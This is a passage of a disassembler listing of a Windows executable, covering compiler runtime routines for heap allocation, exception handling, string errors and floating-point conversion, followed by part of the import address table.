__fassign+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call ___strgtold12 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424CFC add esp, 24h leave retn sub_424D28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D55 proc near ; CODE XREF: __fassign+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call ___strgtold12 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424D12 add esp, 24h leave retn sub_424D55 endp ; [00000077 BYTES: COLLAPSED FUNCTION __fptostr. PRESS KEYPAD "+" TO EXPAND] ; [00000064 BYTES: COLLAPSED FUNCTION __fltout. PRESS KEYPAD "+" TO EXPAND] ; [000000B6 BYTES: COLLAPSED FUNCTION ___dtold. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push 2 call __amsg_exit pop ecx retn ; [00000046 BYTES: COLLAPSED FUNCTION __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_424F62 proc near ; DATA XREF: .data:00429024o push offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *) call ds:dword_427010 ; SetUnhandledExceptionFilter mov dword_4DBFE8, eax retn sub_424F62 endp ; =============== S U B R O U T I N E ======================================= sub_424F73 proc near ; DATA XREF: .data:0042903Co push dword_4DBFE8 call ds:dword_427010 ; SetUnhandledExceptionFilter retn sub_424F73 endp ; =============== S U B R O U T I N E ======================================= sub_424F80 proc near ; CODE XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *)+6Bp ; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call ds:dword_42700C ; IsBadReadPtr test eax, eax jz short loc_424F98 xor esi, esi loc_424F98: ; CODE XREF: sub_424F80+14j mov eax, esi pop esi retn sub_424F80 endp ; =============== S U B R O U T I N E ======================================= sub_424F9C proc near ; CODE XREF: BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+73p ; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call ds:dword_427060 ; IsBadWritePtr test eax, eax jz short loc_424FB4 xor esi, esi loc_424FB4: ; CODE XREF: sub_424F9C+14j mov eax, esi pop esi retn sub_424F9C endp ; [00000018 BYTES: COLLAPSED FUNCTION _ValidateExecute(int (*)(void)). PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000017 BYTES: COLLAPSED CHUNK OF FUNCTION sub_422DFC. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND] ; [00000031 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO EXPAND] ; [00000089 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4250B2(size_t Size,int) sub_4250B2 proc near ; CODE XREF: ___initstdio+22p ; ___initstdio+3Bp Size = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+Size] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+Size], esi ja short loc_4250D3 test esi, esi jnz short loc_4250CD push 1 pop esi loc_4250CD: ; CODE XREF: sub_4250B2+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_4250D3: ; CODE XREF: sub_4250B2+12j ; sub_4250B2+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_425132 mov eax, dword_4DD388 cmp eax, 3 jnz short loc_4250FE mov eax, [ebp+Size] cmp eax, dword_4DD380 ja short loc_42511D push eax call ___sbh_alloc_block mov edi, eax pop ecx test edi, edi jnz short loc_425148 jmp short loc_42511D ; --------------------------------------------------------------------------- loc_4250FE: ; CODE XREF: sub_4250B2+30j cmp eax, 2 jnz short loc_42511D cmp esi, dword_43CE74 ja short loc_42511D mov eax, esi shr eax, 4 push eax call sub_41F50E mov edi, eax pop ecx test edi, edi jnz short loc_42515C loc_42511D: ; CODE XREF: sub_4250B2+3Bj ; sub_4250B2+4Aj ... push esi push 8 push dword_4DD384 call ds:dword_427150 ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_425156 loc_425132: ; CODE XREF: sub_4250B2+26j cmp dword_4DBE48, 0 jz short loc_425156 push esi call __callnewh test eax, eax pop ecx jz short loc_42515F jmp short loc_4250D3 ; --------------------------------------------------------------------------- loc_425148: ; CODE XREF: sub_4250B2+48j push [ebp+Size] ; Size loc_42514B: ; CODE XREF: sub_4250B2+ABj push 0 ; Val push edi ; Dst call _memset add esp, 0Ch loc_425156: ; CODE XREF: sub_4250B2+7Ej ; sub_4250B2+87j mov eax, edi loc_425158: ; CODE XREF: sub_4250B2+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_42515C: ; CODE XREF: sub_4250B2+69j push esi jmp short loc_42514B ; --------------------------------------------------------------------------- loc_42515F: ; CODE XREF: sub_4250B2+92j xor eax, eax jmp short loc_425158 sub_4250B2 endp ; [00000058 BYTES: COLLAPSED FUNCTION __fcloseall. PRESS KEYPAD "+" TO EXPAND] ; [00000146 BYTES: COLLAPSED FUNCTION __chsize. PRESS KEYPAD "+" TO EXPAND] ; [00000021 BYTES: COLLAPSED FUNCTION ___addl. PRESS KEYPAD "+" TO EXPAND] ; [0000005E BYTES: COLLAPSED FUNCTION ___add_12. PRESS KEYPAD "+" TO EXPAND] ; [0000002E BYTES: COLLAPSED FUNCTION ___shl_12. PRESS KEYPAD "+" TO EXPAND] ; [0000002D BYTES: COLLAPSED FUNCTION ___shr_12. PRESS KEYPAD "+" TO EXPAND] ; [000000C7 BYTES: COLLAPSED FUNCTION ___mtold12. PRESS KEYPAD "+" TO EXPAND] ; [000004A1 BYTES: COLLAPSED FUNCTION ___strgtold12. PRESS KEYPAD "+" TO EXPAND] off_425943 dd offset loc_42550C ; DATA XREF: ___strgtold12+63r dd offset loc_42555B ; jump table for switch statement dd offset loc_4255B2 dd offset loc_4255DC dd offset loc_425637 dd offset loc_4256AE dd offset loc_4256E4 dd offset loc_42572E dd offset loc_42570D dd offset loc_425792 dd offset loc_42577C dd offset loc_425748 ; [00000293 BYTES: COLLAPSED FUNCTION _$I10_OUTPUT. PRESS KEYPAD "+" TO EXPAND] ; [0000012D BYTES: COLLAPSED FUNCTION _raise. PRESS KEYPAD "+" TO EXPAND] ; [00000045 BYTES: COLLAPSED FUNCTION _siglookup. PRESS KEYPAD "+" TO EXPAND] ; [00000076 BYTES: COLLAPSED FUNCTION __setmode. PRESS KEYPAD "+" TO EXPAND] ; [00000220 BYTES: COLLAPSED FUNCTION ___ld12mul. PRESS KEYPAD "+" TO EXPAND] ; [0000007C BYTES: COLLAPSED FUNCTION ___multtenpow12. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_426090(char *Src,int) sub_426090 proc near ; CODE XREF: sub_426173+19p ; sub_42629A+19p Src = dword ptr 4 push esi push [esp+4+Src] ; Str mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call _strlen pop ecx push eax ; Size push [esp+8+Src] ; Src mov ecx, esi call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint) mov eax, esi pop esi retn 8 sub_426090 endp ; =============== S U B R O U T I N E ======================================= sub_4260BA proc near ; CODE XREF: sub_4260E2+3p ; sub_426168+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) mov ecx, esi pop esi jmp sub_426564 sub_4260BA endp ; [0000000D BYTES: COLLAPSED FUNCTION sub_4260D5. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4260E2 proc near ; DATA XREF: .rdata:off_427C90o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4260BA test [esp+4+arg_0], 1 jz short loc_4260F8 push esi call sub_41D65F pop ecx loc_4260F8: ; CODE XREF: sub_4260E2+Dj mov eax, esi pop esi retn 4 sub_4260E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4260FE proc near ; CODE XREF: sub_426173+29p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 mov eax, offset loc_426AE2 call __EH_prolog push ecx push ecx push esi lea eax, [ebp+var_10] mov esi, ecx push eax mov [ebp+var_14], esi mov [ebp+var_10], offset dword_427CAC call ??0exception@@QAE@ABQBD@Z ; exception::exception(char const * const &) push [ebp+arg_0] and [ebp+var_4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp+var_C] mov dword ptr [esi], offset off_427CA0 mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4260FE endp ; =============== S U B R O U T I N E ======================================= sub_42614C proc near ; DATA XREF: .rdata:off_427CA0o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426168 test [esp+4+arg_0], 1 jz short loc_426162 push esi call sub_41D65F pop ecx loc_426162: ; CODE XREF: sub_42614C+Dj mov eax, esi pop esi retn 4 sub_42614C endp ; =============== S U B R O U T I N E ======================================= sub_426168 proc near ; CODE XREF: sub_42614C+3p ; DATA XREF: .rdata:00428014o mov dword ptr [ecx], offset off_427CA0 jmp sub_4260BA sub_426168 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426173 proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)+13p ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint)+Ep var_3C = byte ptr -3Ch var_20 = byte ptr -20h var_D = dword ptr -0Dh var_4 = dword ptr -4 mov eax, offset loc_426AF4 call __EH_prolog sub esp, 30h lea eax, [ebp+var_D] push eax ; int push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp+var_20] call sub_426090 and [ebp+var_4], 0 lea eax, [ebp+var_20] push eax lea ecx, [ebp+var_3C] call sub_4260FE push offset dword_428010 lea eax, [ebp+var_3C] push eax call __CxxThrowException@8 ; _CxxThrowException(x,x) int 3 ; Trap to Debugger sub_426173 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4261B0 proc near ; CODE XREF: sub_4260FE+32p ; sub_4261D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ABV12@II@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint) mov eax, esi pop esi retn 4 sub_4261B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4261D0 proc near ; CODE XREF: sub_42629A+29p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 mov eax, offset loc_426B06 call __EH_prolog push ecx push ecx push esi lea eax, [ebp+var_10] mov esi, ecx push eax mov [ebp+var_14], esi mov [ebp+var_10], offset dword_427CAC call ??0exception@@QAE@ABQBD@Z ; exception::exception(char const * const &) push [ebp+arg_0] and [ebp+var_4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp+var_C] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4261D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426218 proc near ; CODE XREF: sub_426282+7p ; sub_4262DE+7p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 mov eax, offset loc_426B18 call __EH_prolog push ecx push esi push edi mov edi, [ebp+arg_0] mov esi, ecx push edi mov [ebp+var_10], esi call ??0exception@@QAE@ABV0@@Z ; exception::exception(exception const &) and [ebp+var_4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp+var_C] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426218 endp ; =============== S U B R O U T I N E ======================================= sub_42625B proc near ; DATA XREF: .rdata:off_427CCCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426277 test [esp+4+arg_0], 1 jz short loc_426271 push esi call sub_41D65F pop ecx loc_426271: ; CODE XREF: sub_42625B+Dj mov eax, esi pop esi retn 4 sub_42625B endp ; =============== S U B R O U T I N E ======================================= sub_426277 proc near ; CODE XREF: sub_42625B+3p ; DATA XREF: .rdata:004280BCo mov dword ptr [ecx], offset off_427CCC jmp sub_4260BA sub_426277 endp ; =============== S U B R O U T I N E ======================================= sub_426282 proc near ; CODE XREF: sub_4262F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426218 mov dword ptr [esi], offset off_427CA0 mov eax, esi pop esi retn 4 sub_426282 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42629A proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)+15p ; sub_40D7CD+15p ... var_3C = dword ptr -3Ch var_20 = byte ptr -20h var_D = dword ptr -0Dh var_4 = dword ptr -4 mov eax, offset loc_426B2A call __EH_prolog sub esp, 30h lea eax, [ebp+var_D] push eax ; int push offset aStringTooLong ; "string too long" lea ecx, [ebp+var_20] call sub_426090 and [ebp+var_4], 0 lea eax, [ebp+var_20] push eax lea ecx, [ebp+var_3C] call sub_4261D0 push offset dword_4280B8 lea eax, [ebp+var_3C] push eax mov [ebp+var_3C], offset off_427CCC call __CxxThrowException@8 ; _CxxThrowException(x,x) int 3 ; Trap to Debugger sub_42629A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4262DE proc near ; CODE XREF: sub_4262F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426218 mov dword ptr [esi], offset off_427CCC mov eax, esi pop esi retn 4 sub_4262DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4262F6 proc near ; DATA XREF: .rdata:00427C98o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426218 push offset dword_4280F8 lea eax, [ebp+var_1C] push eax call __CxxThrowException@8 ; _CxxThrowException(x,x) int 3 ; Trap to Debugger loc_426314: ; DATA XREF: .rdata:00427CD4o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4262DE push offset dword_4280B8 lea eax, [ebp+var_1C] push eax call __CxxThrowException@8 ; _CxxThrowException(x,x) int 3 ; Trap to Debugger loc_426332: ; DATA XREF: .rdata:00427CA8o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426282 push offset dword_428010 lea eax, [ebp+var_1C] push eax call __CxxThrowException@8 ; _CxxThrowException(x,x) int 3 ; Trap to Debugger sub_4262F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426350 proc near ; CODE XREF: sub_40D104+5Ep ; sub_40F3AA+14Ap ... jmp ds:dword_427210 sub_426350 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426356 proc near ; CODE XREF: unknown_libname_2+23p ; __global_unwind2+13p jmp ds:dword_4271A4 sub_426356 endp ; [0000002D BYTES: COLLAPSED FUNCTION __itoa. PRESS KEYPAD "+" TO EXPAND] ; [0000005C BYTES: COLLAPSED FUNCTION _xtoa. PRESS KEYPAD "+" TO EXPAND] ; [00000080 BYTES: COLLAPSED FUNCTION __wcsicmp. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION __strdup. PRESS KEYPAD "+" TO EXPAND] ; [00000015 BYTES: COLLAPSED FUNCTION type_info::~type_info(void). PRESS KEYPAD "+" TO EXPAND] ; [0000001C BYTES: COLLAPSED FUNCTION type_info::`scalar deleting destructor'(uint). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4264C1 proc near ; DATA XREF: .rdata:off_427CF4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426564 test [esp+4+arg_0], 1 jz short loc_4264D7 push esi call sub_41D65F pop ecx loc_4264D7: ; CODE XREF: sub_4264C1+Dj mov eax, esi pop esi retn 4 sub_4264C1 endp ; [0000003D BYTES: COLLAPSED FUNCTION exception::exception(char const * const &). PRESS KEYPAD "+" TO EXPAND] ; [0000004A BYTES: COLLAPSED FUNCTION exception::exception(exception const &). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_426564 proc near ; CODE XREF: sub_4260BA+16j ; sub_4264C1+3p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427CF4 jz short locret_426579 push dword ptr [ecx+4] call sub_41D65F pop ecx locret_426579: ; CODE XREF: sub_426564+Aj retn sub_426564 endp ; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_10. PRESS KEYPAD "+" TO EXPAND] ; [0000003A BYTES: COLLAPSED FUNCTION _CxxThrowException(x,x). PRESS KEYPAD "+" TO EXPAND] ; [00000075 BYTES: COLLAPSED FUNCTION _towlower. PRESS KEYPAD "+" TO EXPAND] ; [00000209 BYTES: COLLAPSED FUNCTION ___crtLCMapStringW. PRESS KEYPAD "+" TO EXPAND] ; [00000030 BYTES: COLLAPSED FUNCTION _wcsncnt. PRESS KEYPAD "+" TO EXPAND] ; [00000052 BYTES: COLLAPSED FUNCTION _iswctype. PRESS KEYPAD "+" TO EXPAND] ; [000001C5 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeW. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= sub_426A88 proc near ; DATA XREF: .rdata:stru_427ED0o ; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D76C sub_426A88 endp ; =============== S U B R O U T I N E ======================================= sub_426A90 proc near ; DATA XREF: .rdata:stru_427ED0o mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426AA6 mov ecx, [ebp+8] jmp loc_40D76C ; --------------------------------------------------------------------------- locret_426AA6: ; CODE XREF: sub_426A90+8j retn sub_426A90 endp ; --------------------------------------------------------------------------- loc_426AA7: ; DATA XREF: sub_40D340o mov eax, offset stru_427ED0 jmp ___CxxFrameHandler ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_426AB4 proc near ; DATA XREF: .rdata:stru_427F00o lea ecx, [ebp+14h] jmp loc_40D76C sub_426AB4 endp ; =============== S U B R O U T I N E ======================================= sub_426ABC proc near ; DATA XREF: .rdata:stru_427F00o lea ecx, [ebp-1Ch] jmp loc_40D76C sub_426ABC endp ; =============== S U B R O U T I N E ======================================= sub_426AC4 proc near ; DATA XREF: sub_40D4E2o mov eax, offset stru_427F00 jmp ___CxxFrameHandler sub_426AC4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426AD0 proc near ; DATA XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Copy(uint)o mov eax, offset stru_427F30 jmp ___CxxFrameHandler sub_426AD0 endp ; =============== S U B R O U T I N E ======================================= sub_426ADA proc near ; DATA XREF: .rdata:stru_427F88o mov ecx, [ebp-14h] jmp sub_426564 sub_426ADA endp ; --------------------------------------------------------------------------- loc_426AE2: ; DATA XREF: sub_4260FEo mov eax, offset stru_427F90 jmp ___CxxFrameHandler ; =============== S U B R O U T I N E ======================================= sub_426AEC proc near ; DATA XREF: .rdata:stru_428020o lea ecx, [ebp-20h] jmp loc_40D76C sub_426AEC endp ; --------------------------------------------------------------------------- loc_426AF4: ; DATA XREF: sub_426173o mov eax, offset stru_428028 jmp ___CxxFrameHandler ; =============== S U B R O U T I N E ======================================= sub_426AFE proc near ; DATA XREF: .rdata:stru_428044o mov ecx, [ebp-14h] jmp sub_426564 sub_426AFE endp ; --------------------------------------------------------------------------- loc_426B06: ; DATA XREF: sub_4261D0o mov eax, offset stru_42804C jmp ___CxxFrameHandler ; =============== S U B R O U T I N E ======================================= sub_426B10 proc near ; DATA XREF: .rdata:stru_428068o mov ecx, [ebp-10h] jmp sub_426564 sub_426B10 endp ; --------------------------------------------------------------------------- loc_426B18: ; DATA XREF: sub_426218o mov eax, offset stru_428070 jmp ___CxxFrameHandler ; =============== S U B R O U T I N E ======================================= sub_426B22 proc near ; DATA XREF: .rdata:stru_4280C8o lea ecx, [ebp-20h] jmp loc_40D76C sub_426B22 endp ; --------------------------------------------------------------------------- loc_426B2A: ; DATA XREF: sub_42629Ao mov eax, offset stru_4280D0 jmp ___CxxFrameHandler _text ends ; Section 2. (virtual address 00027000) ; Virtual size : 00001B90 ( 7056.) ; Section size in file : 00001B90 ( 7056.) ; Offset to raw data for section: 00027000 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 427000h dword_427000 dd 77E78EAAh ; DATA XREF: sub_41036B+5ECr ; sub_41716F+C0r ... dword_427004 dd 77E70192h ; DATA XREF: __chsize+F9r dword_427008 dd 77E7176Ch ; DATA XREF: _ValidateExecute(int (*)(void))+8r dword_42700C dd 77E7339Ch ; DATA XREF: sub_424F80+Cr dword_427010 dd 77E7C9E7h ; DATA XREF: sub_424F62+5r ; sub_424F73+6r dword_427014 dd 77E7C866h ; DATA XREF: ___crtGetStringTypeA+3Fr ; ___crtGetStringTypeA+12Dr ... dword_427018 dd 77E641EBh ; DATA XREF: ___crtGetStringTypeA+59r ; ___crtGetStringTypeA+8Dr ... dword_42701C dd 77E73FF9h ; DATA XREF: __commit+2Cr dword_427020 dd 77E7FF2Eh ; DATA XREF: __set_osfhnd:loc_424009r ; __free_osfhnd:loc_424083r dword_427024 dd 77E78406h ; DATA XREF: __ioinit+FFr ; __ioinit+166r ... dword_427028 dd 77E79C3Dh ; DATA XREF: __ioinit+158r ; __NMSG_WRITE+143r dword_42702C dd 77E7C931h ; DATA XREF: __ioinit+19Dr dword_427030 dd 77E77EE1h ; DATA XREF: ___crtGetEnvironmentStringsA+9r dword_427034 dd 77E67702h ; DATA XREF: ___crtGetEnvironmentStringsA:loc_423A08r ; ___crtGetEnvironmentStringsA+E1r dword_427038 dd 77E7C9E1h ; DATA XREF: ___crtGetEnvironmentStringsA+CEr dword_42703C dd 77E9C5B1h ; DATA XREF: ___crtGetEnvironmentStringsA+11Fr dword_427040 dd 77EB9A84h ; DATA XREF: __XcptFilter+138r dword_427044 dd 77E781F9h ; DATA XREF: ___crtLCMapStringA+42r ; ___crtLCMapStringA+14Dr ... dword_427048 dd 77E77405h ; DATA XREF: ___crtLCMapStringA+5Er ; ___crtLCMapStringA+A7r ... dword_42704C dd 77F522F2h ; DATA XREF: sub_422EA8+58r dword_427050 dd 77E6D706h ; DATA XREF: __raise_exc+215r ; _CxxThrowException(x,x)+2Er dword_427054 dd 77E6C703h ; DATA XREF: _getSystemCP+1Ar dword_427058 dd 77E7A13Fh ; DATA XREF: _getSystemCP+2Fr dword_42705C dd 77E7849Fh ; DATA XREF: __setmbcp+48r ; _setSBUpLow+14r dword_427060 dd 77E73196h ; DATA XREF: sub_424F9C+Cr dword_427064 dd 77E7980Ah ; DATA XREF: ___sbh_alloc_new_region+76r ; ___sbh_alloc_new_group+51r ... dword_427068 dd 77E79E34h ; DATA XREF: sub_41E742+240r ; sub_41F216+120r ... dword_42706C dd 77E75CB5h ; DATA XREF: sub_40111D+DFr ; WinMain(x,x,x,x)+7Ar ... dword_427070 dd 77E77963h ; DATA XREF: sub_40111D+B8r ; WinMain(x,x,x,x)+2DBr ... dword_427074 dd 77E61BB8h ; DATA XREF: sub_40111D+A7r ; WinMain(x,x,x,x)+2C3r ... dword_427078 dd 77E7A099h ; DATA XREF: sub_40111D+83r ; WinMain(x,x,x,x)+DAr ... dword_42707C dd 77E704FCh ; DATA XREF: sub_40111D+74r ; WinMain(x,x,x,x)+C4r ... dword_427080 dd 77E61BE6h ; DATA XREF: sub_40111D+29r ; WinMain(x,x,x,x)+1F4r ... dword_427084 dd 77E7AC37h ; DATA XREF: WinMain(x,x,x,x)+3C1r ; sub_401ACD+79Fr ... dword_427088 dd 77E73628h ; DATA XREF: WinMain(x,x,x,x)+33Br ; sub_401ACD+76D4r ... dword_42708C dd 77E706B7h ; DATA XREF: WinMain(x,x,x,x):loc_401495r ; sub_41761C+15r ... dword_427090 dd 77E80656h ; DATA XREF: WinMain(x,x,x,x)+267r dword_427094 dd 77F5157Dh ; DATA XREF: WinMain(x,x,x,x)+1D8r ; WinMain(x,x,x,x)+3E6r ... dword_427098 dd 77E6BD13h ; DATA XREF: WinMain(x,x,x,x):loc_4013DCr dword_42709C dd 77E70396h ; DATA XREF: WinMain(x,x,x,x)+1B5r ; WinMain(x,x,x,x)+221r ... dword_4270A0 dd 77E74CABh ; DATA XREF: WinMain(x,x,x,x)+19Er ; sub_4100B4+110r ... dword_4270A4 dd 77E79F93h ; DATA XREF: WinMain(x,x,x,x)+D3r ; sub_409909+2r ... dword_4270A8 dd 77E79D5Bh ; DATA XREF: WinMain(x,x,x,x)+6Br ; WinMain(x,x,x,x)+311r ... dword_4270AC dd 77E7C2C4h ; DATA XREF: WinMain(x,x,x,x)+64r dword_4270B0 dd 77E7751Ah ; DATA XREF: WinMain(x,x,x,x)+2Cr ; sub_401ACD+253Br ... dword_4270B4 dd 77E75CEBh ; DATA XREF: sub_401ACD+791Ar ; sub_40B4F5+2Br ... dword_4270B8 dd 77E6AD34h ; DATA XREF: sub_401ACD+68CFr ; sub_4188A6+35r dword_4270BC dd 77E71AFEh ; DATA XREF: sub_401ACD+6697r dword_4270C0 dd 77E805D8h ; DATA XREF: sub_409909+13Ar ; sub_409909:loc_409E17r ... dword_4270C4 dd 77E7A5FDh ; DATA XREF: sub_409909+11r ; sub_4172C1+60r ... dword_4270C8 dd 77E65F4Ch ; DATA XREF: .text:0040ABEDr ; sub_419AE0+34r dword_4270CC dd 77E7513Ch ; DATA XREF: .text:0040AC84r ; .text:0040B0C3r dword_4270D0 dd 77E7C657h ; DATA XREF: .text:0040ACF8r ; .text:0040AF0Fr ... dword_4270D4 dd 77E73C49h ; DATA XREF: sub_40B425+4Ar ; sub_40BB65+1AFr ... dword_4270D8 dd 77F7E300h ; DATA XREF: sub_40C3E8+142r dword_4270DC dd 77F7E21Fh ; DATA XREF: sub_40C3E8+D7r dword_4270E0 dd 77E7C706h ; DATA XREF: sub_40C600+77r dword_4270E4 dd 77F53275h ; DATA XREF: sub_40C600+6Br ; sub_40C600+22Fr dword_4270E8 dd 77E77CCEh ; DATA XREF: sub_40DB5E+66r ; sub_40DC41+65r ... dword_4270EC dd 77E78B82h ; DATA XREF: .text:0040E081r ; sub_40EED1+25r ... dword_4270F0 dd 77E79D8Ch ; DATA XREF: .text:0040E04Fr ; sub_40EE8E+3Br ... dword_4270F4 dd 77E73EACh ; DATA XREF: .text:0040E035r dword_4270F8 dd 77E7A837h ; DATA XREF: .text:0040DFB4r ; sub_4100B4+1CBr ... dword_4270FC dd 77E616B4h ; DATA XREF: sub_40EF1C+19Br ; sub_4116D6+115r ... dword_427100 dd 77E79CE3h ; DATA XREF: sub_40EF1C+111r ; sub_411920+77r ... dword_427104 dd 77E79C90h ; DATA XREF: sub_40EF1C+FDr ; sub_40EF1C+10Ar ... dword_427108 dd 77E7727Ah ; DATA XREF: sub_40EF1C+74r ; sub_411827+23r ... dword_42710C dd 77E64106h ; DATA XREF: sub_40FF31+A0r ; sub_41AF8F+1B6r dword_427110 dd 77E64006h ; DATA XREF: sub_40FF31+8Cr ; sub_41AF8F+19Fr dword_427114 dd 77E793EFh ; DATA XREF: sub_4100B4+1F5r ; sub_4109F1+38r ... dword_427118 dd 77E79424h ; DATA XREF: sub_41036B+280r ; sub_41761C+135r dword_42711C dd 77E794BFh ; DATA XREF: sub_41036B+272r ; 